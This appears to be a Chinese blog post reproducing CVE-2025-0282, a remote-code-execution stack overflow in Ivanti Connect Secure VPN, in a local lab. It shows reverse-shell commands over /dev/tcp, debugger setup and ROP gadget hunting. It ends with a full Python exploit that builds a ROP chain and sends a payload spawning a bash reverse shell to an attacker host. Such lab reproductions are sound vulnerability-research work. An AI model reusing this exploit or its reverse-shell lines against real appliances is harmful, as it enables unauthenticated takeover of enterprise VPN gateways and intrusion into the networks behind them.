news 2026/6/23 16:13:27

CVE-2025-0282:Ivanti缓冲区溢出漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-0282:Ivanti缓冲区溢出漏洞复现

参考

微信公众平台

Ivanti Connect Secure栈溢出漏洞(CVE-2025-0282)分析与复现

(99+ 封私信 / 81 条消息) ivanti CVE-2025-0282 漏洞复现 - 知乎

CVE-2025-0282 Ivanti Connect Secure RCE 漏洞复现与调试 | Misaki

一、漏洞背景

1、概述

CVE-2025-0282 是一个影响 Ivanti 企业 VPN 设备的严重漏洞。该漏洞允许未经身份验证的远程攻击者在受影响的设备上执行任意代码,进而可能完全控制目标系统。Ivanti 已确认该漏洞存在。

2、影响范围

Ivanti Connect Secure 22.7R2 - 22.7R2.4

Ivanti Policy Secure 22.7R1 - 22.7R1.2

Ivanti Neurons for ZTA gateways 22.7R2 - 22.7R2.3

二、调试环境搭建

1、获取shell

版本:Ivanti Connect Secure 22.7R2.3

Ivanti Connect Secure 22.7R2.3导入虚拟机后开机,按照界面提示设置IP地址,管理员账号和密码等。

在浏览器中使用HTTPS协议打开配置的IP地址,可以正常显示Web登录界面。

https://192.168.1.129/dana-na/auth/url_admin/welcome.cgi

尝试ping内部的kali

等到超时

使用010Editor打开vmem文件

替换

重新恢复虚拟机,然后回车

在虚拟机中反弹shell

sh-4.2# bash -i >& /dev/tcp/192.168.1.128/8889 0>&1

2、文件传输

反弹shell中执行

cat >> /tmp/recv.py << EOF import urllib urllib.urlretrieve("http://192.168.1.128:8000/gdbserver", "gdbserver") EOF

将gdbserver保存为/tmp/gdbserver,如果没有的话需要手动编译

在反弹shell中执行

bash-4.2# cd /tmp bash-4.2# python recv.py bash-4.2# chmod +x /tmp/gdbserver

3、漏洞分析

将web程序拖入IDA分析

定位到漏洞函数sub_E3540

双击类进入

找到

进入函数sub_E5E80发现最后调用sub_E4AD0

三、漏洞利用

使用openconnect来触发栈溢出,先配置一下环境

https://github.com/openconnect/openconnect.git

下载完后进入该目录,然后打开pulse.c文件,找到如下代码并进行替换

完成后开始编译

./autogrn.sh ./configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4 make

测试一下

./openconnect 192.168.1.129 --protocol=pulse --dump-http-traffic -vvv

这里是SSL/TLS握手阶段,这里因为我们服务器使用自签名证书,需要用户来选择信任,输入yes后才会继续链接。从HTTPS升级到专用的IF-T/TLS协议。

查看一下端口,可以看到web程序是443端口,我们用gdbserverattach上该端口的PID即可。

/tmp/gdbserver 0.0.0.0:8010 --attach $(netstat -anptl | grep 443 | awk '{print $7}' | cut -d'/' -f1 | grep -v "-")

监听好之后在自己主机启用gdb调试目标

使用tmux分割窗口ctrl+b然后输入%左右分割,ctrl+b然后输入"上下分割

定位程序基址,然后根据ida中的偏移计算strcpy地址

然后下断点

然后输入continue

修改payload长度

看一下之后发生了什么

发现虚表调用

128:04a0│ 0xffff94f0 —▸ 0x56852b30 —▸ 0xf7a960c0 (vtable for DSEvntNotification+8) —▸ 0xf6cd0280 (DSEvntNotification::~DSEvntNotification()) ◂— push ebx

loc_E51C3: mov edx, [esp+0A0Ch+var_9E0] //将栈上偏移量为[esp+0A0Ch+var_9E0]的内存地址处存储的值加载到edx寄存器中。 mov eax, [esp+0A0Ch+arg_0] //获取a1指针,因为a1作为sub_E4AD0的第一个参数 mov eax, [eax] //通过a1获取vtable地址 mov [esp+0A0Ch+src], edx //将edx寄存器中的值(之前从[esp+0A0Ch+var_9E0]加载的,可能是源字符串地址或长度)保存到栈上src的位置 mov edx, [esp+0A0Ch+arg_0] //再次将栈上第一个参数的值加载到edx寄存器中 mov [esp+0A0Ch+n], 2Eh ; '.' ; int // 将数值2Eh(即字符.)保存到栈上n的位置 mov [esp+0A0Ch+var_A0C], edx //将edx寄存器中的值(之前从[esp+0A0Ch+arg_0]加载的)保存到栈上var_A0C的位置。 call dword ptr [eax+48h] //调用了一个函数。函数的地址是从eax指向的结构体中的偏移48h处获取的。虚函数调用,我们要做的就是在这里劫持。

根据https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/这个文章,观察这个作者的A Gadget From The Gods,我们可以用该gadget去完成ROP。

在这文章中作者提到了他的gadget的具体汇编,第一句是mov ebx, 0xfffffff0, 第二句是add esp, 0x204C

+--------------------------+ | gadget_0[0x48] | +--------------------------+ | mov ebx, 0xfffffff0 | <- Load value into EBX +--------------------------+ | add esp, 0x204C | <- Adjust stack pointer +--------------------------+ | mov eax, ebx | <- Copy EBX to EAX +--------------------------+ | pop ebx | <- Restore EBX +--------------------------+ | pop esi | <- Restore ESI +--------------------------+ | pop edi | <- Restore EDI +--------------------------+ | pop ebp | <- Restore EBP +--------------------------+ | ret | <- Return to caller +--------------------------

接下来就是要找到该gadget,由于调试时我们可以发现程序或加载很多额外的库文件,我们的gadget没准就在这些库文件中。

用该脚本去扫:

#!/usr/bin/env python3 import subprocess import os ​ for f in os.listdir('.'): if f.endswith('.so'): print(f"\n=== {f} ===") os.system(f"objdump -d -M intel {f} | grep -i 'add.*esp.*0x204c'")

然后可以发现在libdsplibs.so可以找到该gadget,这也是个swithc table

然后按照代码逻辑,我们只要反着算就行, 例如我们这里最后vtable的地址是0x11D88F8, 那么就需要有一个地址存储这个指针, 直接在idabinary search里搜索。

使用X查看选中函数的交叉引用

由于最后是执行call dword ptr [eax+48h]所以0x11D8940-0x48=0x11D88F8

然后有由于会执行mov eax, [esp+0A0Ch+arg_0]mov eax, [eax],所以还要找一个地址储存的值是0x11D88F8

db1_11D88F8进行交叉引用, 所以我们最后要覆盖的this指针地址为0x00934F4C,后面正常rop就行, 这里提一句libc的随机化是0xfff位, 多核启动的时候会有一个主进程不断的fork子进程,因此我们爆破 0xfff次就一定能成功执行。

但本地调试的话爆破起来非常麻烦,所以我们可以去改一下内核配置,取消PIE随机化。

先看看ASLR(地址空间布局随机化)的当前设置

ASLR 的三种级别 值 含义 说明 0 关闭 不进行任何地址随机化 1 部分开启 随机化 mmap 基址、栈、VDSO,但不随机化共享库位置(通常也是较弱的随机化) 2 完全开启 随机化所有区域:栈、堆、共享库、mmap、VDSO、executable 等

关闭ASLR

echo 0 > /proc/sys/kernel/randomize_va_space ​ #验证是否为0 cat /proc/sys/kernel/randomize_va_space ​ # 重启web服务 killall web ​ #再从gdb中观察内存地址是否固定 target remote IP:8010 ​ #查看内存布局 info proc mappings

经过调试可以看到,地址一直固定为0xf6525000

exp

#!/usr/bin/env python3 """ CVE-2025-0282 Exploit - 基于ad1.py,ASLR已关闭版本 libdsplibs.so base: 0xf6525000 """ import sys import socket import ssl import struct from time import sleep ​ ​ def log(txt): print(txt) ​ ​ def exploit(target_ip, target_port, lhost, lport): log(f"[+] Targeting {target_ip}:{target_port}") ​ # 22.7r2.4 b3597 gadgets (from libdsplibs.so) target = { 'padding_to_vftable': 2288, 'vftable_gadget_offset': 0x00934F4C, 'padding_to_next_frame': 2934, 'offset_to_got_plt': 0x00157c000, 'gadget_inc_ebx_ret': 0x01338373, 'gadget_mov_eax_esp_retn_c': 0x00ca2e84, 'gadget_add_eax_8_ret': 0x007a040c, 'gadget_mov_esp_eax_call_system': 0x004f0df3, } ​ # 固定base地址 (ASLR disabled) libdsplibs_base = 0xf6525000 ​ log(f"[*] libdsplibs_base: 0x{libdsplibs_base:08x}") ​ # 反弹shell命令 cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1';#" cmd = cmd.replace(' ', '${IFS}') log(f"[*] Command: {cmd}") ​ # 构造ROP buffer buffer = b'C' * target['padding_to_vftable'] buffer += struct.pack('<I', libdsplibs_base + target['vftable_gadget_offset']) buffer += b'A' * target['padding_to_next_frame'] buffer += struct.pack('<I', libdsplibs_base + target['offset_to_got_plt'] - 1) buffer += struct.pack('<I', 0xCAFEBEEF) # esi buffer += struct.pack('<I', 0xCAFEBEEF) # edi buffer += struct.pack('<I', 0xCAFEBEEF) # ebp buffer += struct.pack('<I', libdsplibs_base + target['gadget_inc_ebx_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_eax_esp_retn_c']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret']) buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_esp_eax_call_system']) buffer += struct.pack('<I', 0xCAFEBEEF) buffer += cmd.encode() ​ # 检查bad char if b'\x00' in buffer: log("[-] Buffer contains null byte!") return ​ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15) ​ ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE s = ctx.wrap_socket(sock, server_hostname=target_ip) s.connect((target_ip, target_port)) ​ # HTTP Upgrade body = f"GET / HTTP/1.1\r\n" body += f"Host: {target_ip}:{target_port}\r\n" body += "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n" body += "Content-Type: EAP\r\n" body += "Upgrade: IF-T/TLS 1.0\r\n" body += "Content-Length: 0\r\n" body += "\r\n" ​ s.send(body.encode()) res = s.recv(4096) ​ if b'101 Switching Protocols' not in res: log("[-] Failed to switch protocols") return ​ log("[+] Protocol switched") ​ # IFT_VERSION_REQUEST data = struct.pack('4B', 0, 1, 2, 2) pkt = struct.pack('>IIII', 0x00005597, 0x00000001, len(data) + 16, 0) + data s.send(pkt) ​ log("[*] Sent version request") ​ # Exploit packet data = b"clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=" + buffer + b"\n\x00" pkt = struct.pack('>IIII', 0x00000a4c, 0x00000088, len(data) + 16, 1) + data ​ log(f"[*] Triggering exploit...") s.send(pkt) ​ log("[+] Exploit sent! Check your listener.") ​ except Exception as e: log(f"[-] Error: {e}") ​ ​ if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_ip> <target_port> <lhost> <lport>") print(f"Example: {sys.argv[0]} 192.168.13.200 443 192.168.13.146 9999") sys.exit(1) ​ target_ip = sys.argv[1] target_port = int(sys.argv[2]) lhost = sys.argv[3] lport = int(sys.argv[4]) ​ exploit(target_ip, target_port, lhost, lport)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/23 16:11:58

temperature top-p

如果你经常使用大模型&#xff0c;那你肯定见过temperature和top_p这两个参数。比如在google studio聊天界面&#xff0c;你就可以找到设置这两个参数的地方&#xff0c;这里是temperature&#xff0c;这里就是top_p。除了聊天界面之外&#xff0c;它们也经常会在大模型api的入…

作者头像 李华
网站建设 2026/6/23 16:08:07

AI 串联软件测试流水线

AI 串联软件测试流水线&#xff1a;全流程落地实操步骤 结合现有技术栈&#xff08;Dify知识库、Jenkins/GitLab CI、PytestPlaywright自动化、质量门禁、缺陷管理平台&#xff09;&#xff0c;本文从整体架构、前置准备、分阶段实操步骤、配置模板、落地模式、运维避坑完整拆解…

作者头像 李华
网站建设 2026/6/23 15:44:23

混合系统不变集计算:理论与机器人应用

1. 混合系统不变集计算的核心挑战 在动力系统分析领域&#xff0c;不变集&#xff08;Invariant Set&#xff09;就像是一个安全的"力场"——一旦系统状态进入这个区域&#xff0c;就会永远停留在其中。这个概念在研究系统鲁棒性时至关重要&#xff0c;特别是对于足式…

作者头像 李华
网站建设 2026/6/23 15:43:57

CBC-SLP:结构化潜在投影实现遥感多模态语义分割的缺失模态鲁棒性

1. 从遥感分割的“数据困境”说起&#xff1a;为什么缺失模态是个大麻烦干遥感图像处理这行的&#xff0c;尤其是做语义分割的&#xff0c;估计都遇到过一种让人头疼的情况&#xff1a;你精心设计了一个模型&#xff0c;指望它能同时利用高分辨率光学影像&#xff08;RGB&#…

作者头像 李华
网站建设 2026/6/23 15:32:50

在线交易算法竞争比分析:从理论到实战的鲁棒性评估框架

1. 项目概述&#xff1a;在线交易算法竞争比分析 在量化交易和算法交易的圈子里&#xff0c;我们每天都在和各种“策略”打交道。但很多时候&#xff0c;我们过于关注策略本身的收益率、夏普比率&#xff0c;却忽略了一个更底层、更本质的问题&#xff1a;当你的算法和市场上其…

作者头像 李华